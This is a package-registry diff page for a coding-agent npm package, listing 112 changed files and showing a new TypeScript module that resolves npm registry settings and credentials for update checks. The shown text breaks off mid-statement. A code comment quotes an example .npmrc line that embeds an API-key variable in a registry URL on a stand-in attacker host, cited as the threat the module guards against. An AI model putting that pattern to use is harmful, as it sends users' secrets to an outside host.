@gajae-code/coding-agent 0.12.11 → 0.12.12

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (112) hide show
  1. package/CHANGELOG.md +38 -0
  2. package/dist/types/cli/notify-cli.d.ts +42 -1
  3. package/dist/types/cli/update-cli.d.ts +9 -3
  4. package/dist/types/commands/notify.d.ts +6 -0
  5. package/dist/types/config/file-lock.d.ts +3 -0
  6. package/dist/types/coordinator/contract.d.ts +1 -1
  7. package/dist/types/coordinator-mcp/question-state.d.ts +3 -1
  8. package/dist/types/extensibility/extensions/index.d.ts +1 -0
  9. package/dist/types/extensibility/extensions/ouroboros-ooo-bridge.d.ts +13 -0
  10. package/dist/types/extensibility/extensions/prefix-command-bridge.d.ts +0 -1
  11. package/dist/types/extensibility/extensions/types.d.ts +2 -0
  12. package/dist/types/main.d.ts +6 -2
  13. package/dist/types/modes/components/session-selector.d.ts +1 -1
  14. package/dist/types/modes/utils/host-status.d.ts +23 -0
  15. package/dist/types/runtime-mcp/types.d.ts +2 -0
  16. package/dist/types/sdk/broker/lifecycle.d.ts +12 -0
  17. package/dist/types/sdk/bus/chat-daemon-cli.d.ts +3 -0
  18. package/dist/types/sdk/bus/chat-daemon-command-channel.d.ts +244 -0
  19. package/dist/types/sdk/bus/chat-daemon-control.d.ts +11 -1
  20. package/dist/types/sdk/bus/chat-daemon-runtime.d.ts +7 -0
  21. package/dist/types/sdk/bus/control-plane-frames.d.ts +43 -0
  22. package/dist/types/sdk/bus/conversation-store.d.ts +18 -0
  23. package/dist/types/sdk/bus/existing-thread-readiness.d.ts +71 -0
  24. package/dist/types/sdk/bus/notification-service.d.ts +10 -0
  25. package/dist/types/sdk/bus/slack-daemon.d.ts +27 -0
  26. package/dist/types/sdk/bus/slack-live-provider.d.ts +11 -0
  27. package/dist/types/sdk/bus/slack-provider.d.ts +14 -0
  28. package/dist/types/sdk/bus/slack-thread-binding.d.ts +140 -0
  29. package/dist/types/sdk/bus/telegram-daemon-cli.d.ts +2 -0
  30. package/dist/types/sdk/bus/telegram-daemon-contract.d.ts +24 -7
  31. package/dist/types/sdk/bus/telegram-daemon.d.ts +104 -16
  32. package/dist/types/sdk/bus/telegram-reference.d.ts +10 -1
  33. package/dist/types/sdk/bus/topic-registry.d.ts +130 -85
  34. package/dist/types/sdk/host/host.d.ts +52 -0
  35. package/dist/types/sdk/lifecycle-session.d.ts +6 -0
  36. package/dist/types/sdk/session-activation.d.ts +41 -0
  37. package/dist/types/sdk/session.d.ts +18 -0
  38. package/dist/types/sdk/startup-capability.d.ts +8 -1
  39. package/dist/types/session/agent-session.d.ts +7 -0
  40. package/dist/types/session/artifacts.d.ts +2 -2
  41. package/dist/types/session/session-manager.d.ts +23 -5
  42. package/dist/types/tools/index.d.ts +8 -0
  43. package/dist/types/utils/npm-registry.d.ts +71 -0
  44. package/examples/extensions/README.md +38 -4
  45. package/examples/extensions/ooo-bridge.ts +15 -0
  46. package/package.json +8 -8
  47. package/scripts/generate-sdk-operation-inventory.ts +4 -0
  48. package/src/async/job-manager.ts +9 -2
  49. package/src/cli/notify-cli.ts +226 -2
  50. package/src/cli/update-cli.ts +90 -23
  51. package/src/commands/notify.ts +27 -3
  52. package/src/commands/sdk.ts +1 -0
  53. package/src/config/file-lock-gc.ts +18 -0
  54. package/src/config/file-lock.ts +61 -16
  55. package/src/config/model-profiles.ts +31 -15
  56. package/src/coordinator/contract.ts +1 -0
  57. package/src/coordinator-mcp/question-state.ts +2 -0
  58. package/src/coordinator-mcp/server.ts +358 -7
  59. package/src/defaults/gjc/skills/ultragoal/SKILL.md +2 -0
  60. package/src/extensibility/extensions/index.ts +1 -0
  61. package/src/extensibility/extensions/ouroboros-ooo-bridge.ts +235 -0
  62. package/src/extensibility/extensions/prefix-command-bridge.ts +4 -9
  63. package/src/extensibility/extensions/runner.ts +15 -2
  64. package/src/extensibility/extensions/types.ts +2 -0
  65. package/src/gjc-runtime/launch-tmux.ts +53 -1
  66. package/src/internal-urls/docs-index.generated.ts +11 -10
  67. package/src/main.ts +203 -67
  68. package/src/modes/DESIGN.md +8 -5
  69. package/src/modes/components/footer.ts +10 -18
  70. package/src/modes/components/session-selector.ts +26 -3
  71. package/src/modes/components/status-line/gh.ts +23 -2
  72. package/src/modes/controllers/event-controller.ts +3 -0
  73. package/src/modes/controllers/extension-ui-controller.ts +2 -0
  74. package/src/modes/controllers/input-controller.ts +11 -0
  75. package/src/modes/controllers/selector-controller.ts +8 -2
  76. package/src/modes/interactive-mode.ts +7 -1
  77. package/src/modes/utils/host-status.ts +38 -0
  78. package/src/runtime-mcp/types.ts +2 -0
  79. package/src/sdk/broker/lifecycle.ts +60 -3
  80. package/src/sdk/bus/chat-daemon-cli.ts +42 -0
  81. package/src/sdk/bus/chat-daemon-command-channel.ts +921 -0
  82. package/src/sdk/bus/chat-daemon-control.ts +16 -3
  83. package/src/sdk/bus/chat-daemon-runtime.ts +257 -21
  84. package/src/sdk/bus/control-plane-frames.ts +51 -0
  85. package/src/sdk/bus/conversation-store.ts +29 -1
  86. package/src/sdk/bus/existing-thread-readiness.ts +155 -0
  87. package/src/sdk/bus/index.ts +70 -0
  88. package/src/sdk/bus/notification-service.ts +28 -1
  89. package/src/sdk/bus/rich-render.ts +3 -2
  90. package/src/sdk/bus/slack-daemon.ts +99 -4
  91. package/src/sdk/bus/slack-live-provider.ts +32 -2
  92. package/src/sdk/bus/slack-provider.ts +11 -0
  93. package/src/sdk/bus/slack-thread-binding.ts +641 -0
  94. package/src/sdk/bus/telegram-daemon-cli.ts +11 -0
  95. package/src/sdk/bus/telegram-daemon-contract.ts +24 -7
  96. package/src/sdk/bus/telegram-daemon.ts +1961 -497
  97. package/src/sdk/bus/telegram-reference.ts +42 -6
  98. package/src/sdk/bus/topic-registry.ts +674 -181
  99. package/src/sdk/host/host.ts +180 -1
  100. package/src/sdk/lifecycle-session.ts +8 -2
  101. package/src/sdk/protocol/operation-inventory.generated.json +22 -0
  102. package/src/sdk/session-activation.ts +127 -0
  103. package/src/sdk/session.ts +139 -28
  104. package/src/sdk/startup-capability.ts +10 -1
  105. package/src/session/agent-session.ts +220 -9
  106. package/src/session/artifacts.ts +56 -13
  107. package/src/session/internal/managed-session-storage.ts +206 -7
  108. package/src/session/session-manager.ts +148 -38
  109. package/src/setup/provider-presets.json +1 -1
  110. package/src/task/index.ts +92 -44
  111. package/src/tools/index.ts +8 -0
  112. package/src/utils/npm-registry.ts +660 -0
@@ -0,0 +1,660 @@
1
+ /**
2
+ * npm registry resolution for update checks.
3
+ *
4
+ * The install half of `gjc update` shells out to bun/npm, so it already honours
5
+ * whatever registry the user configured. The *version check* half did not — it
6
+ * fetched `registry.npmjs.org` directly. On networks that mirror or block the
7
+ * public registry (corporate Nexus/Artifactory proxies, air-gapped setups) the
8
+ * check fails even though the install that follows it would have worked, so
9
+ * `gjc update` reports `Failed to fetch release info:` and exits 1.
10
+ *
11
+ * This module resolves the registry — and its credentials — the way npm does,
12
+ * so the check agrees with the install.
13
+ *
14
+ * Two deliberate departures from npm, both because this runs inside an agent
15
+ * the user launches in repositories they did not write:
16
+ *
17
+ * - No project (`<cwd>/.npmrc`) layer. A repository must not be able to name
18
+ * the host this process talks to, nor supply an `${ENV}`-expanded token to
19
+ * send there. npm agrees for this case anyway: it skips project config in
20
+ * global mode, and the check exists to gate a global install.
21
+ * - The environment is read through `$credentialEnv`, which excludes the
22
+ * `cwd/.env` overlay Bun merges into `Bun.env`, and is distrusted entirely
23
+ * when an npm lifecycle is detected, because npm synthesizes `npm_config_*`
24
+ * from the project `.npmrc` with `${VAR}` already expanded.
25
+ *
26
+ * Not read, so the scope claim is not overstated: proxy configuration (`proxy`,
27
+ * `https-proxy`, `noproxy`) lands in the parsed map but nothing consumes it, and
28
+ * `bunfig.toml` is not parsed at all. `<cwd>/bunfig.toml` is excluded for the
29
+ * same reason as the project `.npmrc`; `~/.bunfig.toml` is simply unimplemented,
30
+ * so a mirror declared only there is checked against the public registry while
31
+ * `bun install -g` installs from the mirror.
32
+ */
33
+ import * as os from "node:os";
34
+ import * as path from "node:path";
35
+ import { $credentialEnv, isEnoent } from "@gajae-code/utils";
36
+
37
+ export const DEFAULT_NPM_REGISTRY = "https://registry.npmjs.org";
38
+
39
+ const DEFAULT_TIMEOUT_MS = 10_000;
40
+ const PACKUMENT_ACCEPT = "application/vnd.npm.install-v1+json, application/json";
41
+
42
+ export type NpmConfigOrigin = "env" | "user" | "global";
43
+
44
+ /** Which package manager will run the install this check is gating. */
45
+ export type Installer = "bun" | "npm";
46
+
47
+ /** Injection points so tests never read the real environment. */
48
+ export interface NpmRegistryEnvironment {
49
+ /** Manager that will perform the install; decides Bun-vs-npm config priority. */
50
+ installer?: Installer;
51
+ /** Resolves an executable on PATH; used to locate npm's effective prefix. */
52
+ whichExecutable?: (name: string) => string | undefined;
53
+ /** Defaults to `$credentialEnv`, which excludes the caller's `cwd/.env`. */
54
+ lookupEnv?: (name: string) => string | undefined;
55
+ homeDir?: string;
56
+ platform?: NodeJS.Platform;
57
+ readFile?: (filePath: string) => Promise<string | undefined>;
58
+ }
59
+
60
+ export interface ResolvedNpmRegistry {
61
+ registry: string;
62
+ headers: Record<string, string>;
63
+ origin: NpmConfigOrigin | "default";
64
+ /** Where the value came from, e.g. `$npm_config_registry` or `~/.npmrc`. */
65
+ source: string;
66
+ /** Config files that exist but could not be read. */
67
+ warnings: string[];
68
+ }
69
+
70
+ export interface LatestPackageVersion {
71
+ version: string;
72
+ registry: string;
73
+ /** Config problems that did not stop the lookup but changed its outcome. */
74
+ warnings: string[];
75
+ }
76
+
77
+ export interface FetchResponseLike {
78
+ ok: boolean;
79
+ status: number;
80
+ statusText: string;
81
+ json: () => Promise<unknown>;
82
+ }
83
+
84
+ export type FetchLike = (
85
+ input: string,
86
+ init?: { headers?: Record<string, string>; signal?: AbortSignal },
87
+ ) => Promise<FetchResponseLike>;
88
+
89
+ export interface NpmRegistryLookupOptions extends NpmRegistryEnvironment {
90
+ fetchImpl?: FetchLike;
91
+ timeoutMs?: number;
92
+ }
93
+
94
+ /** Thrown when a registry is configured but unusable, so it is never silently ignored. */
95
+ export class NpmRegistryConfigError extends Error {}
96
+
97
+ interface ConfigValue {
98
+ value: string;
99
+ /** The exact variable or file the value came from, for diagnostics. */
100
+ source: string;
101
+ }
102
+
103
+ interface ConfigLayer {
104
+ origin: NpmConfigOrigin;
105
+ /** True when the layer is repository-influenced and must not be consulted. */
106
+ untrusted?: boolean;
107
+ get: (key: string) => ConfigValue | undefined;
108
+ }
109
+
110
+ interface ConfigEntry {
111
+ value: string;
112
+ origin: NpmConfigOrigin;
113
+ source: string;
114
+ }
115
+
116
+ async function defaultReadFile(filePath: string): Promise<string | undefined> {
117
+ try {
118
+ return await Bun.file(filePath).text();
119
+ } catch (err) {
120
+ if (isEnoent(err)) return undefined;
121
+ throw err;
122
+ }
123
+ }
124
+
125
+ /** Expand `${VAR}` references the way npm expands them while reading `.npmrc`. */
126
+ function expandEnvRefs(value: string, lookupEnv: (name: string) => string | undefined): string {
127
+ return value.replace(/\$\{([^}]+)\}/g, (match, name: string) => lookupEnv(name) ?? match);
128
+ }
129
+
130
+ /**
131
+ * Apply ini value rules: a quoted value is taken verbatim, an unquoted one ends
132
+ * at the first unescaped `#` or `;`. Without this, `registry=https://host # note`
133
+ * survives as a URL whose comment becomes a fragment, and the request 404s
134
+ * against a registry that installs fine.
135
+ */
136
+ function unquoteIniValue(raw: string): string {
137
+ const trimmed = raw.trim();
138
+ const quote = trimmed[0];
139
+ if ((quote === '"' || quote === "'") && trimmed.length >= 2 && trimmed.endsWith(quote)) {
140
+ return trimmed.slice(1, -1);
141
+ }
142
+
143
+ let out = "";
144
+ for (let i = 0; i < trimmed.length; i++) {
145
+ const char = trimmed[i];
146
+ if (char === "\\" && (trimmed[i + 1] === "#" || trimmed[i + 1] === ";" || trimmed[i + 1] === "\\")) {
147
+ out += trimmed[++i];
148
+ continue;
149
+ }
150
+ if (char === "#" || char === ";") break;
151
+ out += char;
152
+ }
153
+ return out.trim();
154
+ }
155
+
156
+ /**
157
+ * Parse an `.npmrc` into raw key/value pairs. Later duplicates win, as in npm.
158
+ *
159
+ * @internal Exported for tests; production code goes through `resolveNpmRegistry`.
160
+ */
161
+ export function parseNpmrc(contents: string, lookupEnv: (name: string) => string | undefined = () => undefined) {
162
+ const values = new Map<string, string>();
163
+ let inSection = false;
164
+ for (const rawLine of contents.replace(/^\uFEFF/, "").split(/\r?\n/)) {
165
+ const line = rawLine.trim();
166
+ if (!line || line.startsWith("#") || line.startsWith(";")) continue;
167
+ // `[section]` opens a nested ini table. npm reads only top-level keys, so
168
+ // everything inside a section is inactive config, not a top-level default.
169
+ if (line.startsWith("[")) {
170
+ inSection = true;
171
+ continue;
172
+ }
173
+ if (inSection) continue;
174
+ const separator = line.indexOf("=");
175
+ if (separator <= 0) continue;
176
+ const key = line.slice(0, separator).trim();
177
+ if (key) values.set(key, expandEnvRefs(unquoteIniValue(line.slice(separator + 1)), lookupEnv));
178
+ }
179
+ return values;
180
+ }
181
+
182
+ /**
183
+ * npm exports config as `npm_config_<key>`, lowercasing ordinary keys but
184
+ * preserving the case of `//host/path/:field` credential keys ("nerf darts").
185
+ */
186
+ function envNamesFor(key: string): string[] {
187
+ const names = [`npm_config_${key}`];
188
+ if (!key.startsWith("//") && !key.startsWith("@")) names.push(`NPM_CONFIG_${key.toUpperCase()}`);
189
+ return names;
190
+ }
191
+
192
+ /**
193
+ * npm's own lifecycle synthesizes `npm_config_*` from the *project* `.npmrc`,
194
+ * expanding `${VAR}` against the parent environment on the way. Launching GJC
195
+ * through `npm run` inside a cloned repository therefore hands us a registry —
196
+ * and credentials — that the repository chose:
197
+ *
198
+ * .npmrc: registry=https://svc:${ANTHROPIC_API_KEY}@collect.attacker.example/
199
+ * child: npm_config_registry=https://svc:<the real key>@collect.attacker.example/
200
+ *
201
+ * Excluding the project `.npmrc` layer does not close that door, because npm
202
+ * re-opens it through the environment. When an npm lifecycle is detected the
203
+ * environment is treated as repository-influenced and contributes nothing; the
204
+ * user-owned file layers still apply, so a legitimate mirror keeps working.
205
+ */
206
+ function launchedByNpmLifecycle(lookupEnv: (name: string) => string | undefined): boolean {
207
+ return Boolean(lookupEnv("npm_lifecycle_event") || lookupEnv("npm_execpath") || lookupEnv("npm_command"));
208
+ }
209
+
210
+ function createEnvLayer(
211
+ lookupEnv: (name: string) => string | undefined,
212
+ installer: Installer | undefined,
213
+ ): ConfigLayer {
214
+ const untrusted = launchedByNpmLifecycle(lookupEnv);
215
+ return {
216
+ origin: "env",
217
+ untrusted,
218
+ get: key => {
219
+ if (untrusted) return undefined;
220
+ if (key === "registry") {
221
+ // Only prefer Bun's variable when Bun is the manager that will run the
222
+ // install; the npm-managed path ignores BUN_CONFIG_REGISTRY entirely,
223
+ // and preferring it there makes the check disagree with the install.
224
+ const bun = lookupEnv("BUN_CONFIG_REGISTRY")?.trim();
225
+ if (bun && installer !== "npm") return { value: bun, source: "$BUN_CONFIG_REGISTRY" };
226
+ for (const name of envNamesFor(key)) {
227
+ const value = lookupEnv(name)?.trim();
228
+ if (value) return { value, source: `$${name}` };
229
+ }
230
+ if (bun) return { value: bun, source: "$BUN_CONFIG_REGISTRY" };
231
+ return undefined;
232
+ }
233
+ for (const name of envNamesFor(key)) {
234
+ const value = lookupEnv(name)?.trim();
235
+ // npm skips empty env config; without this an exported-but-unset
236
+ // `npm_config_registry=` would mask the user's `.npmrc`.
237
+ if (value) return { value, source: `$${name}` };
238
+ }
239
+ return undefined;
240
+ },
241
+ };
242
+ }
243
+
244
+ function expandHome(filePath: string, homeDir: string): string {
245
+ if (filePath === "~") return homeDir;
246
+ if (filePath.startsWith("~/") || filePath.startsWith("~\\")) return path.join(homeDir, filePath.slice(2));
247
+ return filePath;
248
+ }
249
+
250
+ function globalNpmrcCandidates(
251
+ env: ConfigLayer,
252
+ lookupEnv: (name: string) => string | undefined,
253
+ homeDir: string,
254
+ platform: NodeJS.Platform,
255
+ whichExecutable: (name: string) => string | undefined,
256
+ ): string[] {
257
+ const configured = env.get("globalconfig")?.value;
258
+ if (configured) return [expandHome(configured, homeDir)];
259
+
260
+ const prefix = env.get("prefix")?.value;
261
+ if (prefix) return [path.join(expandHome(prefix, homeDir), "etc", "npmrc")];
262
+
263
+ // `npm config set registry <url> --location=global` writes under the install
264
+ // prefix, and $npm_config_globalconfig only exists inside `npm run`.
265
+ // npm's global config lives under its *effective* prefix, which for nvm, fnm,
266
+ // Volta, or any custom install is nowhere near the fixed paths below. Derive
267
+ // it from where npm actually is: <prefix>/bin/npm -> <prefix>/etc/npmrc.
268
+ const candidates: string[] = [];
269
+ const npmPath = whichExecutable("npm");
270
+ if (npmPath) candidates.push(path.join(path.dirname(path.dirname(npmPath)), "etc", "npmrc"));
271
+
272
+ if (platform === "win32") {
273
+ // npm derives this from %APPDATA%, which is not an npm_config_* variable.
274
+ const appData = env.get("appdata")?.value ?? lookupEnv("APPDATA")?.trim();
275
+ if (appData) candidates.push(path.join(appData, "npm", "etc", "npmrc"));
276
+ return candidates;
277
+ }
278
+ candidates.push("/usr/local/etc/npmrc", "/opt/homebrew/etc/npmrc", "/etc/npmrc");
279
+ return candidates;
280
+ }
281
+
282
+ async function createFileLayer(
283
+ origin: NpmConfigOrigin,
284
+ candidates: string[],
285
+ readFile: (filePath: string) => Promise<string | undefined>,
286
+ lookupEnv: (name: string) => string | undefined,
287
+ warnings: string[],
288
+ ): Promise<ConfigLayer | undefined> {
289
+ for (const filePath of candidates) {
290
+ let contents: string | undefined;
291
+ try {
292
+ contents = await readFile(filePath);
293
+ } catch (err) {
294
+ // A file that exists but cannot be read is a silent registry loss otherwise.
295
+ warnings.push(`${filePath} could not be read: ${err instanceof Error ? err.message : String(err)}`);
296
+ continue;
297
+ }
298
+ if (contents === undefined) continue;
299
+ const values = parseNpmrc(contents, lookupEnv);
300
+ return {
301
+ origin,
302
+ get: key => {
303
+ const value = values.get(key);
304
+ return value === undefined ? undefined : { value, source: filePath };
305
+ },
306
+ };
307
+ }
308
+ return undefined;
309
+ }
310
+
311
+ async function collectLayers(
312
+ environment: NpmRegistryEnvironment,
313
+ warnings: string[],
314
+ readFailures: string[],
315
+ ): Promise<ConfigLayer[]> {
316
+ const lookupEnv = environment.lookupEnv ?? $credentialEnv;
317
+ const readFile = environment.readFile ?? defaultReadFile;
318
+ const platform = environment.platform ?? process.platform;
319
+ let homeDir: string;
320
+ try {
321
+ homeDir = environment.homeDir ?? os.homedir();
322
+ } catch {
323
+ homeDir = "";
324
+ }
325
+
326
+ const whichExecutable = environment.whichExecutable ?? ((name: string) => Bun.which(name) ?? undefined);
327
+ const env = createEnvLayer(lookupEnv, environment.installer);
328
+ if (env.untrusted) {
329
+ warnings.push(
330
+ "npm_config_* was ignored because GJC was launched by an npm lifecycle, " +
331
+ "where those variables can be synthesized from a repository .npmrc",
332
+ );
333
+ }
334
+ const layers: ConfigLayer[] = [env];
335
+
336
+ const userConfig = env.get("userconfig")?.value;
337
+ const userCandidates = userConfig
338
+ ? [expandHome(userConfig, homeDir)]
339
+ : homeDir
340
+ ? [path.join(homeDir, ".npmrc")]
341
+ : [];
342
+ const user = await createFileLayer("user", userCandidates, readFile, lookupEnv, readFailures);
343
+ if (user) layers.push(user);
344
+
345
+ const globalCandidates = globalNpmrcCandidates(env, lookupEnv, homeDir, platform, whichExecutable);
346
+ const global = await createFileLayer("global", globalCandidates, readFile, lookupEnv, readFailures);
347
+ if (global) layers.push(global);
348
+
349
+ return layers;
350
+ }
351
+
352
+ function lookupConfig(layers: ConfigLayer[], key: string): ConfigEntry | undefined {
353
+ for (const layer of layers) {
354
+ const found = layer.get(key);
355
+ if (found && found.value !== "") {
356
+ return { value: found.value, origin: layer.origin, source: found.source };
357
+ }
358
+ }
359
+ return undefined;
360
+ }
361
+
362
+ /** `@scope/name` → `@scope`. A name like `@scope` with no slash has no scope. */
363
+ function packageScope(packageName: string): string | undefined {
364
+ const slash = packageName.indexOf("/");
365
+ return packageName.startsWith("@") && slash > 1 ? packageName.slice(0, slash) : undefined;
366
+ }
367
+
368
+ interface NormalizedRegistry {
369
+ registry: string;
370
+ /** Basic credentials lifted out of a `https://user:pass@host` registry URL. */
371
+ userinfo?: string;
372
+ }
373
+
374
+ /** `decodeURIComponent` throws on a literal `%`, which survives WHATWG userinfo parsing. */
375
+ function decodeComponent(value: string): string {
376
+ try {
377
+ return decodeURIComponent(value);
378
+ } catch {
379
+ return value;
380
+ }
381
+ }
382
+
383
+ /**
384
+ * Hide the authority of a value that failed validation, so a misconfigured
385
+ * `registry=user:secret@host` cannot be echoed into a terminal or a bug report.
386
+ *
387
+ * The value is by definition unparseable, so a leading `svc-npm:` is as likely
388
+ * to be a username as a scheme. Only the unambiguous `scheme://` form is kept;
389
+ * everything else before the authority's last `@` is dropped.
390
+ */
391
+ function redactAuthority(value: string): string {
392
+ const scheme = /^[a-z][a-z0-9+.-]*:\/\//i.exec(value)?.[0] ?? "";
393
+ const rest = value.slice(scheme.length);
394
+ const authorityEnd = rest.search(/[/?#]/);
395
+ const authority = authorityEnd === -1 ? rest : rest.slice(0, authorityEnd);
396
+ const at = authority.lastIndexOf("@");
397
+ if (at !== -1) return `${scheme}***@${rest.slice(at + 1)}`;
398
+
399
+ // A single-slash scheme such as `ssh:/user:pw@host` puts the credential
400
+ // outside the authority window; drop everything before the last `@` anyway.
401
+ const tail = value.lastIndexOf("@");
402
+ return tail === -1 ? value : `***@${value.slice(tail + 1)}`;
403
+ }
404
+
405
+ /**
406
+ * Validate the registry and lift any embedded credentials out of it, so a
407
+ * password in the URL can never reach a request path, an error message, or a
408
+ * pasted bug report.
409
+ */
410
+ function normalizeRegistry(value: string): NormalizedRegistry | undefined {
411
+ const trimmed = value.trim();
412
+ if (!trimmed) return undefined;
413
+
414
+ let url: URL;
415
+ try {
416
+ url = new URL(trimmed);
417
+ } catch {
418
+ return undefined;
419
+ }
420
+ if (url.protocol !== "http:" && url.protocol !== "https:") return undefined;
421
+
422
+ // A bare username with no password is never a real credential — it is the
423
+ // shape of `https://trusted.example.com@attacker.example.com`, where the
424
+ // "user" is the host the reader's eye stops at. Strip it, promote nothing.
425
+ let userinfo: string | undefined;
426
+ if (url.password) {
427
+ userinfo = Buffer.from(`${decodeComponent(url.username)}:${decodeComponent(url.password)}`).toString("base64");
428
+ }
429
+ url.username = "";
430
+ url.password = "";
431
+
432
+ return { registry: url.toString().replace(/\/+$/, ""), userinfo };
433
+ }
434
+
435
+ /**
436
+ * Build the credential lookup keys npm calls "nerf darts": `//host/path/`,
437
+ * walking up one path segment at a time until the bare host.
438
+ *
439
+ * @internal Exported for tests; production code goes through `resolveNpmRegistry`.
440
+ */
441
+ export function credentialPrefixes(registry: string): string[] {
442
+ let url: URL;
443
+ try {
444
+ url = new URL(registry);
445
+ } catch {
446
+ return [];
447
+ }
448
+ const segments = url.pathname.split("/").filter(Boolean);
449
+ const prefixes: string[] = [];
450
+ for (let i = segments.length; i >= 0; i--) {
451
+ const pathname = segments.slice(0, i).join("/");
452
+ prefixes.push(`//${url.host}/${pathname ? `${pathname}/` : ""}`);
453
+ }
454
+ return prefixes;
455
+ }
456
+
457
+ /** Reject a `_password` that is not really base64: decoding never throws, it corrupts. */
458
+ function decodeBase64Password(password: string): string | undefined {
459
+ const decoded = Buffer.from(password, "base64");
460
+ if (decoded.toString("base64").replace(/=+$/, "") !== password.replace(/=+$/, "")) return undefined;
461
+ return decoded.toString("utf8");
462
+ }
463
+
464
+ function isPlaintextRemote(registry: string): boolean {
465
+ const url = new URL(registry);
466
+ if (url.protocol !== "http:") return false;
467
+ const host = url.hostname;
468
+ return host !== "localhost" && host !== "127.0.0.1" && host !== "[::1]";
469
+ }
470
+
471
+ function resolveAuthHeaders(
472
+ registry: string,
473
+ userinfo: string | undefined,
474
+ layers: ConfigLayer[],
475
+ warnings: string[],
476
+ ): Record<string, string> {
477
+ // No credential of any form reaches a remote plaintext origin. This decision
478
+ // comes first so it also covers credentials embedded in the registry URL,
479
+ // which previously took an early return and bypassed it entirely.
480
+ if (isPlaintextRemote(registry)) {
481
+ const configured = userinfo !== undefined || credentialPrefixes(registry).some(p => hasCredential(layers, p));
482
+ if (configured) {
483
+ warnings.push(`credentials configured for ${registry} were withheld because it is plaintext http`);
484
+ }
485
+ return {};
486
+ }
487
+
488
+ // Credentials written into the registry URL are inseparable from it.
489
+ if (userinfo) return { Authorization: `Basic ${userinfo}` };
490
+
491
+ for (const prefix of credentialPrefixes(registry)) {
492
+ const read = (field: string): string | undefined =>
493
+ lookupConfig(layers, `${prefix}:${field}`)?.value ??
494
+ lookupConfig(layers, `${prefix.replace(/\/$/, "")}:${field}`)?.value;
495
+
496
+ const authToken = read("_authToken");
497
+ if (authToken) return { Authorization: `Bearer ${authToken}` };
498
+
499
+ const auth = read("_auth");
500
+ if (auth) return { Authorization: `Basic ${auth}` };
501
+
502
+ const username = read("username");
503
+ const password = read("_password");
504
+ if (username && password) {
505
+ const decoded = decodeBase64Password(password);
506
+ if (decoded !== undefined) {
507
+ return { Authorization: `Basic ${Buffer.from(`${username}:${decoded}`).toString("base64")}` };
508
+ }
509
+ }
510
+ }
511
+ return {};
512
+ }
513
+
514
+ function hasCredential(layers: ConfigLayer[], prefix: string): boolean {
515
+ const read = (field: string): string | undefined =>
516
+ lookupConfig(layers, `${prefix}:${field}`)?.value ??
517
+ lookupConfig(layers, `${prefix.replace(/\/$/, "")}:${field}`)?.value;
518
+
519
+ if (read("_authToken") || read("_auth")) return true;
520
+
521
+ const password = read("_password");
522
+ return Boolean(read("username") && password && decodeBase64Password(password) !== undefined);
523
+ }
524
+
525
+ /** Resolve the registry npm/bun would use for `packageName`, with credentials attached. */
526
+ export async function resolveNpmRegistry(
527
+ packageName: string,
528
+ environment: NpmRegistryEnvironment = {},
529
+ ): Promise<ResolvedNpmRegistry> {
530
+ const warnings: string[] = [];
531
+ // Kept apart from `warnings`: only a config file that exists but cannot be
532
+ // read justifies refusing to fall back, and an informational notice must not.
533
+ const readFailures: string[] = [];
534
+ const layers = await collectLayers(environment, warnings, readFailures);
535
+ const scope = packageScope(packageName);
536
+
537
+ // npm resolves the scoped key first, then the generic one, each across all layers.
538
+ const entry = (scope ? lookupConfig(layers, `${scope}:registry`) : undefined) ?? lookupConfig(layers, "registry");
539
+ if (!entry) {
540
+ // An unreadable config file is not the same as no config file: falling back
541
+ // to the public registry there is exactly the silent divergence being fixed.
542
+ if (readFailures.length) {
543
+ throw new NpmRegistryConfigError(
544
+ `no usable npm registry configuration: ${readFailures.join("; ")} (set npm_config_registry to override)`,
545
+ );
546
+ }
547
+ return { registry: DEFAULT_NPM_REGISTRY, headers: {}, origin: "default", source: "built-in default", warnings };
548
+ }
549
+
550
+ const normalized = normalizeRegistry(entry.value);
551
+ if (!normalized) {
552
+ // Falling back to the public registry here would silently reintroduce the
553
+ // bug this module exists to remove.
554
+ throw new NpmRegistryConfigError(
555
+ `npm config registry from ${entry.source} is not a valid http(s) URL: ${redactAuthority(entry.value)}`,
556
+ );
557
+ }
558
+
559
+ return {
560
+ registry: normalized.registry,
561
+ headers: resolveAuthHeaders(normalized.registry, normalized.userinfo, layers, warnings),
562
+ origin: entry.origin,
563
+ source: entry.source,
564
+ warnings: [...warnings, ...readFailures],
565
+ };
566
+ }
567
+
568
+ /**
569
+ * Registries can live under a path prefix, so join by string rather than `new URL`.
570
+ *
571
+ * @internal Exported for tests; production code goes through `fetchLatestPackageVersion`.
572
+ */
573
+ export function buildRegistryPackageUrl(registry: string, packageName: string, spec?: string): string {
574
+ const base = `${registry.replace(/\/+$/, "")}/${packageName}`;
575
+ return spec ? `${base}/${spec}` : base;
576
+ }
577
+
578
+ function describeSource(resolved: ResolvedNpmRegistry): string {
579
+ return resolved.origin === "default" ? "" : ` (registry from ${resolved.source})`;
580
+ }
581
+
582
+ function withWarnings(message: string, warnings: string[]): string {
583
+ return warnings.length ? `${message}; ${warnings.join("; ")}` : message;
584
+ }
585
+
586
+ interface VersionResponse {
587
+ version?: string;
588
+ "dist-tags"?: { latest?: string };
589
+ }
590
+
591
+ async function requestJson(
592
+ url: string,
593
+ resolved: ResolvedNpmRegistry,
594
+ options: NpmRegistryLookupOptions,
595
+ signal: AbortSignal,
596
+ ): Promise<{ status: number; data?: VersionResponse; failure?: string }> {
597
+ const doFetch = options.fetchImpl ?? (fetch as unknown as FetchLike);
598
+
599
+ let response: FetchResponseLike;
600
+ try {
601
+ response = await doFetch(url, { headers: { Accept: PACKUMENT_ACCEPT, ...resolved.headers }, signal });
602
+ } catch (err) {
603
+ const timedOut = signal.aborted || (err instanceof Error && err.name === "TimeoutError");
604
+ const reason = timedOut ? "timed out" : `failed: ${err}`;
605
+ return { status: 0, failure: `${url} request ${reason}${describeSource(resolved)}` };
606
+ }
607
+
608
+ if (!response.ok) {
609
+ const reason = response.statusText ? `${response.status} ${response.statusText}` : `${response.status}`;
610
+ return { status: response.status, failure: `${url} responded ${reason}${describeSource(resolved)}` };
611
+ }
612
+
613
+ try {
614
+ return { status: response.status, data: (await response.json()) as VersionResponse };
615
+ } catch {
616
+ // An abort during the body read arrives here too, and is not interception.
617
+ if (signal.aborted) {
618
+ return { status: response.status, failure: `${url} request timed out${describeSource(resolved)}` };
619
+ }
620
+ // A captive portal or block page answering 200 with HTML lands here; the
621
+ // bare SyntaxError alone would name neither the URL nor the registry.
622
+ return {
623
+ status: response.status,
624
+ failure: `${url} returned a non-JSON body${describeSource(resolved)} — a proxy is probably intercepting this request`,
